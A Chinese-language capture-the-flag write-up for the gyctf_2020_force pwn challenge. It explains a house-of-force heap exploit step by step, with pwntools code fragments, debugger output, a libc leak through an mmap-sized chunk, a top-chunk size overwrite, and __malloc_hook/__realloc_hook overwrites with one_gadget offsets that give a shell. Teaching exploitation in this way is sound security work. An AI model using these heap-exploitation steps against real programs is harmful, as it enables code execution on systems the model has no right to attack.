0%

–gyctf_2020_force

前言

搞得我想吐,,,总是出现奇奇怪怪的问题,sendline和send为什么返回的地址不一样,,,

没想到居然是去年高校战役的题,好吧,当时还做了下这个比赛,不过没弄这道题,发现还是一个比较常规的题,house of force

程序流程

堆体,,,只有一个功能(puts函数没有用)

image-20210427211531288

对于add

分配任意大小的chunk,但是固定读入数据0x50大小,所以如果申请的大小小于0x50,就存在堆溢出

image-20210427211635840

漏洞利用

由于题目是保护全开,所以不能覆盖got表

方法:

  1. 分配超过mmap阈值的堆块 => 经过mmap分配的地址,与libc有固定偏移 => 泄露libc地址
  2. 正常分配堆块 => 泄露堆地址
  3. 覆写top chunk‘size为0xffffffffffffffff,就可以将top chunk指针抬高
  4. 使top chunk落在__malloc_hook附近,修改__malloc_hook__realloc_hook
    • __malloc_hook => __realloc_hook + 0x10(为了满足one_gadget的限制)
    • __realloc_hook => one_gadget
  5. malloc一下 => getshell

详细过程

0.基本信息

保护全开,故考虑覆盖__malloc_hook

1
2
winter@ubuntu:~/buu$ file gyctf_2020_force 
gyctf_2020_force: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6d464fea7805860b83ff9bc8f4467dd258ebd04f, stripped
1
2
3
4
5
6
7
winter@ubuntu:~/buu$ checksec gyctf_2020_force 
[*] '/home/winter/buu/gyctf_2020_force'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

1.分配大块

分配一个0x200000的超大块,启用mmap分配,与libc的偏移固定,并计算得到libc_base

1
2
3
[DEBUG] Received 0x20 bytes:
'bin addr 0x7ff0e84e4010\n'
'content\n'
1
2
3
4
5
6
7
pwndbg> x/30gx 0x7ff0e84e4000
0x7ff0e84e4000: 0x0000000000000000 0x0000000000201002
0x7ff0e84e4010: 0x000a7265746e6977 0x0000000000000000
0x7ff0e84e4020: 0x0000000000000000 0x0000000000000000

pwndbg> x/5s 0x7ff0e84e4010
0x7ff0e84e4010: "winter\n"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x559a9f799000 0x559a9f79a000 r-xp 1000 0 /home/winter/buu/gyctf_2020_force
0x559a9f99a000 0x559a9f99b000 r--p 1000 1000 /home/winter/buu/gyctf_2020_force
0x559a9f99b000 0x559a9f99c000 rw-p 1000 2000 /home/winter/buu/gyctf_2020_force
0x7ff0e84e4000 0x7ff0e86e5000 rw-p 201000 0
0x7ff0e86e5000 0x7ff0e88a5000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ff0e88a5000 0x7ff0e8aa5000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ff0e8aa5000 0x7ff0e8aa9000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ff0e8aa9000 0x7ff0e8aab000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ff0e8aab000 0x7ff0e8aaf000 rw-p 4000 0
0x7ff0e8aaf000 0x7ff0e8ad5000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ff0e8cb8000 0x7ff0e8cbb000 rw-p 3000 0
0x7ff0e8cd4000 0x7ff0e8cd5000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ff0e8cd5000 0x7ff0e8cd6000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ff0e8cd6000 0x7ff0e8cd7000 rw-p 1000 0
0x7fffae287000 0x7fffae2a8000 rw-p 21000 0 [stack]
0x7fffae2c0000 0x7fffae2c3000 r--p 3000 0 [vvar]
0x7fffae2c3000 0x7fffae2c5000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
1
[+] libc_base:0x7ff0e86e5000
1
2
3
4
bin_addr  = add(0x200000,'winter')
#0x7f52f5a7d000 - 0x7f52f587c010 = 0x200FF0
libc_base = 0x200FF0 + bin_addr
log.success("libc_base:"+hex(libc_base))

2.正常分配

正常分配,得到的地址,是heap的基地址,因为申请0x18的大小,故top chunk就在heap_base+0x10

1
2
3
[DEBUG] Received 0x20 bytes:
'bin addr 0x559aa0cf3010\n'
'content\n'
1
2
3
4
5
pwndbg> x/30gx 0x559aa0cf3000
0x559aa0cf3000: 0x0000000000000000 0x0000000000000021
0x559aa0cf3010: 0x6161616161616161 0x6161616161616161
0x559aa0cf3020: 0x0000000000000000 0xffffffffffffffff
0x559aa0cf3030: 0x000000000000000a 0x0000000000000000
1
2
[+] heap_base:0x559aa0cf3010
[+] top_chunk:0x559aa0cf3020
1
2
3
4
5
6
payload = 'a' * 0x10
payload += p64(0) + p64(0xffffffffffffffff)
heap_base = add(0x18,payload)
log.success("heap_base:"+hex(heap_base))
top_chunk = heap_base + 0x10
log.success("top_chunk:"+hex(top_chunk))

3.分配到malloc附近

__malloc_hook-0x33附近有\x7f,故分配到这里

1
2
3
4
5
6
pwndbg> x/30gx 0x559aa0cf3000
0x559aa0cf3000: 0x0000000000000000 0x0000000000000021
0x559aa0cf3010: 0x6161616161616161 0x6161616161616161
0x559aa0cf3020: 0x0000000000000000 0x00002a5647db6ad1
0x559aa0cf3030: 0x0000000a61616161 0x0000000000000000
0x559aa0cf3040: 0x0000000000000000 0x0000000000000000
1
2
3
target = malloc_hook - top_chunk - 0x33

add(target,'aaaa')
1
2
3
4
5
pwndbg> x/30gx 0x7ff0e8aa9b20 - 0x33 - 5
0x7ff0e8aa9ae8 <_IO_wide_data_0+296>: 0x0000000000000000 0x00007ff0e8aa8260
0x7ff0e8aa9af8: 0xffffd5a9b8249529 0x00007ff0e876aea0
0x7ff0e8aa9b08 <__realloc_hook>: 0x00007ff0e876aa70 0x0000000000000000
0x7ff0e8aa9b18: 0x0000000000000000 0x0000000100000000

4.覆写__malloc_hook

用gadget覆写malloc_hook,为了调节栈帧(参考博客),还覆写realloc_hook。

  • realloc_hook => one_gadget
  • malloc_hook => realloc_hook + 0x10
1
2
pwndbg> x/30gx 0x7ff0e8aa9b0d - 5
0x7ff0e8aa9b08 <__realloc_hook>: 0x00007ff0e872a27a 0x00007ff0e8769720
1
2
3
4
5
6
7
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['__libc_realloc']

one_gadget = [0x45226,0x4527a,0xf0364,0xf1207]
realloc_data = one_gadget[1] + libc_base
malloc_data = realloc + 0x10
add(0x18,'aaaaaaaa' + p64(realloc_data) + p64(malloc_data))

5.malloc => getshell

执行一次malloc操作,即可get shell

1
2
3
4
p.recvuntil("puts")
p.sendline(str(1))
p.recvuntil("size")
p.sendline(str(24))

总结

  1. 分配超过mmap阈值的堆块 => 经过mmap分配的地址,与libc有固定偏移 => 泄露libc地址
  2. house of force
  3. realloc调节栈帧

参考 & 下载

参考博客:

下载:

文件
文件
LIBC
Q:如果阅读本文需要付费,你是否愿意为此支付1元?